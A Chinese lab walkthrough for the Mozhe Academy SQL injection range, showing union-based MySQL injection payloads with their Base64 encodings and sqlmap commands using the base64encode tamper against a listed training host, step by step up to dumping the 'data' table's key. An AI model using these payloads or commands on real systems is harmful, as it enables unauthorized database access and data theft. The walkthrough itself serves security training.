墨者:SQL注入实战-MySQL

1. 墨者学院:SQL注入实战-MySQL🚀

2. 实训重点目标✨

目标一: 了解sqlmap的使用及其tamper 插件的使用;

目标二: 了解base64编码及解码。


3. 解题方向🔍

目标网站的id参数通过Base64编码传输,因此:

  • 手工注入:需将SQL语句Base64编码后注入
  • SQLMAP工具 :需使用--tamper=base64encode自动编码Payload(有效载荷:是指攻击者发送给目标系统的恶意数据或代码,用于触发漏洞或执行特定操作)

4. 手工注入方式🎯

4.1 判断字段数⚡

sql 复制代码
1 order by 3

Base64编码:

复制代码
MSBvcmRlciBieSAz

4.2 确定回显位⚡

sql 复制代码
1 and 1=2 union select 1,2

或

sql 复制代码
-1 union select 1,2

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDI=

LTEgdW5pb24gc2VsZWN0IDEsMg==

4.3 获取数据库信息⚡

sql 复制代码
1 and 1=2 union select database(),version()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLHZlcnNpb24oKQ==

4.4 获取系统信息⚡

sql 复制代码
1 and 1=2 union select @@version_compile_os,user()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb25fY29tcGlsZV9vcyx1c2VyKCk=

4.5 爆表名⚡

sql 复制代码
1 and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='test'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSksMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd0ZXN0Jw==

4.6 爆列名⚡

sql 复制代码
1 and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='data'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdkYXRhJw==

4.7 获取数据⚡

sql 复制代码
1 and 1=2 union select group_concat(thekey),2 from data

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGhla2V5KSwyIGZyb20gZGF0YQ==

5. SQLMAP工具测试🎯

5.1 获取所有数据库⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" --dbs --batch --tamper=base64encode

5.2 获取test库的表⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test --tables --batch --tamper=base64encode

5.3 获取data表的列⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data --columns --batch --tamper=base64encode

5.4 导出数据⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data -C id,title,main,thekey --dump --batch --tamper=base64encode

5.5 清理缓存⚡

bash 复制代码
python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap命令获取如下:

bash 复制代码
python sqlmap.py -h

5.6 参数说明表⭐

参数 作用
--dbs 枚举所有数据库
-D test 指定目标数据库
--tables 枚举表名
-T data 指定目标表
--columns 枚举列名
--dump 导出数据
--tamper=base64encode 自动Base64编码Payload

6. 在线工具🔧

  1. 加菲工具:https://www.orcc.top/tools/base64
  2. 锤子工具:https://www.toolhelper.cn/EncodeDecode/Base64
  3. 白盒子工具:https://www.baihezi.com/base64

7. 总结🏁

  1. Base64编码的SQL注入需手工编码或使用tamper插件
  2. 手工注入需逐步验证回显位和数据结构
  3. sqlmap可自动化完成全流程检测

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
要开心吖ZSH2 小时前
MySQL 慢 SQL 排查操作手册-个人笔记版
java·笔记·sql·mysql·慢查询
loong_XL3 小时前
决策模型做内容安全检测:从踩坑到上线
数据库·安全·jev·决策模型
这个DBA有点耶4 小时前
数据库双轨并行实战:全量并行策略、增量延迟控制、双向回切与一致性校验
数据库·架构·dba
Gl�ria4 小时前
MySQL 单机版 vs 高可用版:宕机排查 + 故障处理
mysql·adb·架构
adinnet20264 小时前
保单、赔付与渠道问数:保险经营数据如何实现按需查询
大数据·数据库·人工智能
Titan20244 小时前
MySQL索引学习笔记
笔记·学习·mysql
云贝贝贝5 小时前
PostgreSQL 分区表:从设计到运维,大表不再卡
运维·数据库·postgresql
oradh5 小时前
Oracle固定执行计划的方法---SQL Plan Baseline
数据库·sql·oracle
数据库小学妹5 小时前
数据库高可用演练怎么做?稳态定义、注入点与中止条件
数据库·rto·高可用架构·运维体系·故障演练·容灾切换
zyseo85 小时前
谷歌SEO 站内搜索优化实战:把站内搜索词变成关键词金矿
java·服务器·数据库